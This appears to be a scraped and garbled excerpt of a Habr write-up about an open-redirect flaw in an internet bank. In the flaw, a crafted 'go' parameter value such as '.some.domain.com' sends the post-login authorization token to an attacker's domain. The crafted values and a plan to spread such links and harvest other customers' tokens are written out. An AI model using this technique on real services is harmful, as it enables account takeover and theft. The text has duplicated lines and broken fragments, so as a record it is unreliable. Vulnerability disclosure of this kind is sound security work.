go=/path/to/some/page
go=/path/to/some/page
and was formed on the server side for further forwarding. But the problem was that the redirect path was relative and was added to the site domain and therefore I ignored this request in my previous research. In addition, in order for potential vulnerability to exist in it, a number of factors had to exist, namely:go
parameter value go
provide redirection to a third-party domain/path/to/some/page,
/path/to/some/page,
which is added to the site domain internet-bank.com
and the result is the address internet-bank.com/path/to/some/page.
How do we create a URL with a third-party domain? Who has guessed, can put himself a plus for ingenuity. Who wants to know the answer, read on. So, if we instead of /path/to/some/page
/path/to/some/page
add .some.domain.com,
.some.domain.com,
then get a link to redirect the view internet-bank.com.some.domain.com
internet-bank.com,
and with internet-bank.com?go=/path/to/some/page.
And lo and behold, the server produced two-factor authentication and eventually redirected me to the address first internet-bank.com/path/to/some/page/?token=37C853F2CA868D819BD9514C3CCEB,
and then on internet-bank.com/path/to/some/page.
I have to log out and authorize from the addressinternet-bank.com?go=.some.domain.com.
Having done this, I was thrown to the address internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB,
internet-bank.com.some.domain.com?token=37C853F2CA868D819BD9514C3CCEB,
so point 3 was executed automatically. Why this token was used in redirects for authorization, I did not understand, but in the end I had the opportunity to link internet-bank.com?token=37C853F2CA868D819BD9514C3CCEB
Log in from any computer without entering your login, password and SMS.como.wtf
, distribute the link on the Internet internet-bank.com?go=o.wtf
and get access to other accounts in the Internet bank due to the transfer of authorization tokens to internet-bank.como.wtf
Source: https://habr.com/ru/post/263073/
All Articles